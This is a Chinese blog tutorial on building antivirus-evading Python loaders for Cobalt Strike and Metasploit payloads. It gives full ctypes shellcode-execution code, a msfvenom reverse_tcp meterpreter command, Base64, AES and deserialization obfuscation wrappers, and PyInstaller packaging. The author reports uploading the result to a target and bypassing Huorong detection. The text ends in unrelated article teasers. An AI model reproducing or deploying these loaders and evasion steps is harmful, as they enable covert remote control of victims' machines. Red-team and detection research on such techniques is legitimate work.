免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

2023-09-13 17:10:57

Python-MSF/CS生成shellcode-上线

cs上线

1.生成shellcode-c或者python

2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去

shellcode执行代码:

import ctypes

from django.contrib.gis import ptr


#cs

#shellcode=bytearray(b"生成的shellcode")


#msf的shellcode拼接代码

# shellcode = bytearray(b"")

# shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"

# shellcode += b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"

# print(shellcode)


#msf拼接后shellcode

shellcode = bytearray(b'拼接完成shellcode')


# 设置VirtualAlloc返回类型为ctypes.c_uint64

#在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64


# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存

ptr = ctypes.windll.kernel32.VirtualAlloc(

    ctypes.c_int(0),  #要分配的内存区域的地址

    ctypes.c_int(len(shellcode)), #分配的大小

    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE

    ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性

    )


# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中

buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(

    ctypes.c_uint64(ptr),

    buffered,

    ctypes.c_int(len(shellcode))

)


# 创建一个线程从shellcode放置位置首地址开始执行

handle = ctypes.windll.kernel32.CreateThread(

    ctypes.c_int(0), #指向安全属性的指针

    ctypes.c_int(0), #初始堆栈大小

    ctypes.c_uint64(ptr), #指向起始地址的指针

    ctypes.c_int(0), #指向任何参数的指针

    ctypes.c_int(0), #创建标志

    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针

)


# 等待上面创建的线程运行完

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

3.将生成的shellcode放到执行代码中,运行代码,cs成功上线

MSF上线

1.执行命令,生成shellcode

命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

2.msf设置监听

3.将shellcode放到执行脚本中运行

因为msf生成的shellcode是有换行的,所以要进行拼接,如下图:

可以使用图中的拼接直接运行。也可以输出shellcode,使用拼接后的shellcode运行。

直接使用拼接的shellcode:运行脚本成功上线

Python-混淆加密- Base64 & AES & 反序列化等

一、Base64编码

1.运行代码将cs/msf生成的shellcode去掉换行进行base64编码

编码代码:

import base64

shellcode = b'生成的shellcode'
s=base64.b64encode(shellcode)
print(s)

也可以使用命令直接生成base64编码的shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.206.129 lport=4444 -f c

2.将经过base64编码的shellcode放入执行代码中,然后在执行代码中加入base64的解码代码。

解码代码:shellcode=base64.b64decode(shellcode)

成功构造免杀脚本,执行脚本msf成功上线

二、AES加密

AES加密代码:

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64


# 如果text不足16位的倍数就用空格补足为16位

def add_to_16(text):
    if len(text.encode('utf-8')) % 16:
        add = 16 - (len(text.encode('utf-8')) % 16)
    else:
        add = 0
    text = text + ('\0' * add)
    return text.encode('utf-8')


# 加密函数

def encrypt(text):
    key = '9999999999999999'.encode('utf-8')
    mode = AES.MODE_CBC
    iv = b'qqqqqqqqqqqqqqqq'
    text = add_to_16(text)
    cryptos = AES.new(key, mode, iv)
    cipher_text = cryptos.encrypt(text)
    #print(base64.b64decode(cipher_text))
    # 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
    return b2a_hex(cipher_text)


def zhixing(shellcode):
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

if __name__ == '__main__':

   # 加密
    #msf
#     s='''base64编码后的shellcode'''

    #cs
    s='base64编码的shellcode'
    e = encrypt(s)
    print(e)

AES解密执行代码:

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64


# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
    if len(text.encode('utf-8')) % 16:
        add = 16 - (len(text.encode('utf-8')) % 16)
    else:
        add = 0
    text = text + ('\0' * add)
    return text.encode('utf-8')


# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):
    key = '9999999999999999'.encode('utf-8')
    iv = b'qqqqqqqqqqqqqqqq'
    mode = AES.MODE_CBC
    cryptos = AES.new(key, mode, iv)
    plain_text = cryptos.decrypt(a2b_hex(text))
    shellcode=bytes.decode(plain_text).rstrip('\0')
    return shellcode


def zhixing(shellcode):
    shellcode = bytearray(base64.b64decode(shellcode))

    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    # 在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

    # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),  # 要分配的内存区域的地址
        ctypes.c_int(len(shellcode)),  # 分配的大小
        ctypes.c_int(0x3000),  # 分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
        ctypes.c_int(0x40)  # 该内存的初始保护属性,0x40代表可读可写可执行属性
    )

    # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
    buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buffered,
        ctypes.c_int(len(shellcode))
    )

    # 创建一个线程从shellcode放置位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),  # 指向安全属性的指针
        ctypes.c_int(0),  # 初始堆栈大小
        ctypes.c_uint64(ptr),  # 指向起始地址的指针
        ctypes.c_int(0),  # 指向任何参数的指针
        ctypes.c_int(0),  # 创建标志
        ctypes.pointer(ctypes.c_int(0))  # 指向接收线程标识符的值的指针
    )

    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

if __name__ == '__main__':
    #msf
    #e='AES解密后的shellcode'

    #cs
    e='AES解密后的shellcode'
    d = decrypt(e)  # 解密
    zhixing(d)

1.使用cs生成一个64位shellcode,执行代码对其进行base64编码

2.在对编码后的shellcode进行AES加密

3.将AES加密后的shellcode放到AES解密执行代码中。成功构造免杀脚本,执行脚本cs成功上线

三、反序列化

1.将msf生成的shellcode放到代码中进行序列化和base64加密

2.将经过序列化和base64的shellcode放到反序列化和base64解密的执行代码中。成功构造免杀脚本,执行脚本msf成功上线

Python-打包器

以上测试了shellcode的原生态、base64、AES、反序列化等混淆加密的免杀上线方式。但是实战不可能上传py脚本,所以要使用python打包器将py脚本打包为exe执行程序在上传。打包器也能起到免杀效果。

Pyinstall打包器

安装:pip install pyinstaller

参数介绍:

-F, –onefile 打包一个单个文件,如果你的代码都写在一个.py文件的话,可以用这个,如果是多个.py文件就别用

-D, –onedir 打包多个文件,在dist中生成很多依赖文件,适合以框架形式编写工具代码,我个人比较推荐这样,代码易于维护

-K, –tk 在部署时包含 TCL/TK

-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.

-d, –debug 产生debug版本的可执行文件

-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)

-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)

1.执行命令,将原生态1.py进行打包

命令:pyinstaller -1.py

打包后的exe程序在根目录下的dist目录中

2.将打包的脚本上传到目标系统,执行脚本,成功绕过火绒检测,msf成功上线

3.上传了四种打包后的shellcode脚本,结果原生态反而绕过了火绒检测,其他三种经过混淆加密的全部被杀。

更多推荐

使用Python进行健身手表数据分析

健身手表(FitnessWatch)数据分析涉及分析健身可穿戴设备或智能手表收集的数据,以深入了解用户的健康和活动模式。这些设备可以跟踪所走的步数、消耗的能量、步行速度等指标。本文将带您完成使用Python进行FitnessWatch数据分析的任务。FitnessWatch数据分析是健康和保健领域企业的重要工具。通过分

C 语言网络编程 — NAT 网关运行原理

目录文章目录目录NATNATGW实现原理NAT技术的类型NAT技术的基本原理NAT技术的连接跟踪功能NAPT技术的基本原理NAPT技术的连接跟踪功能NATServerNAT穿透LinuxiptablesNATSNATDNATNAPTNATNAT(NetworkAddressTranslation,网络地址转换)是一种L

基于Java+SpringBoot+vue前后端分离小徐影城管理系统设计实现

博主介绍:✌全网粉丝30W+,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌🍅文末获取源码联系🍅👇🏻精彩专栏推荐订阅👇🏻不然下次找不到哟2022-2024年最全的计算机软件毕业设计选题

Java笔记:Java虚拟机的指令

1.字节码指令集1.1概述Java虚拟机的指令由一个字节长度的、代表着某种特定操作含义的数字(称为操作码,Opcode)以及跟随其后的零至多个代表此操作所需参数(称为操作数,Operands)而构成。比如:字节码助记符指令含义0x00nop什么都不做0x01aconst_null将null推送至栈顶0x02iconst

深度思考计算机网络面经之三

计算机网络.1说说你对tcp滑动窗口的理解TCP滑动窗口是TCP协议流量控制的一个重要机制。它的主要目的是确保发送方不会因为发送太多数据而使接收方不堪重负。下面我会详细地描述滑动窗口的概念:窗口的大小:滑动窗口的大小(以字节为单位)表示发送方在等待确认之前可以发送的最大数据量。该大小可以是固定的,但在现代的TCP实现中

【计算机基础知识】计算机的概念

欢迎来到我的:世界希望作者的文章对你有所帮助,有不足的地方还请指正,大家一起学习交流!目录前言1.计算机的概念计算机的发展历程知识拓展:计算机的特点计算机的分类2.计算机的应用计算机的发展趋势知识拓展:总结前言美国数学家香农说过:信息是能够消除不确定性的东西,也就是说信息能消除事物的不确定性,把不确定变成确定性;1.计

用户参与策略:商城小程序的营销推广

在现代数字化时代,商城小程序已成为许多企业推广产品和服务的重要工具。然而,要确保小程序的成功,不仅需要吸引用户访问,还需要采取有效的用户参与策略,以建立持久的客户关系。本文将深入探讨用户参与策略,以推广商城小程序并提高用户忠诚度。第一部分:用户参与的重要性建立品牌忠诚度用户参与是建立品牌忠诚度的关键。通过积极互动和参与

防火墙之firewall配置

firewall​CentOS7中防火墙已经由firewalld来管理,Centos7默认安装了firewalld。与iptables区别iptables仅能通过命令行进行配置;而firewalld提供了图形接口,类似windows防火墙的操作方式;iptables每一个单独更改意味着清除所有旧的规则,并从/etc/s

面试Java后端

sql五表联合查询面试八股JDK,JRE,JVM之间的区别JDK,Java标准开发包,它提供了编译、运行Java程序所需的各种工具和资源,包括Java编译器、Java运行时环境,以及常用的Java类库等。JRE(JavaRuntimeEnvironment),Java运行环境,用于运行lava的字节码文件。JRE中包括

.bat批处理命令处理文件

批处理命令处理文件找到上级目录,并删除文件与文件夹参考资料:[BAT]如何获取bat的上一级目录、上两级目录..._bat上层目录_Risun_Lee的博客-CSDN博客@echooffsetcurrPath=%~dp0setparentPath=setparentparentPath=:beginfor/f"toke

华为云云耀云服务器L实例评测|部署功能强大的开源物联平台ThingsBoard

华为云云耀云服务器L实例评测|部署功能强大的开源物联平台ThingsBoard应用场景ThingsBoard介绍ThingBoard是一个开源的物联网(IoT)平台,旨在为智能设备、传感器和执行器的远程管理和控制提供一站式解决方案。它提供了一套功能强大的Web界面,允许用户监控和控制其物联网设备,同时支持设备之间的自定

热文推荐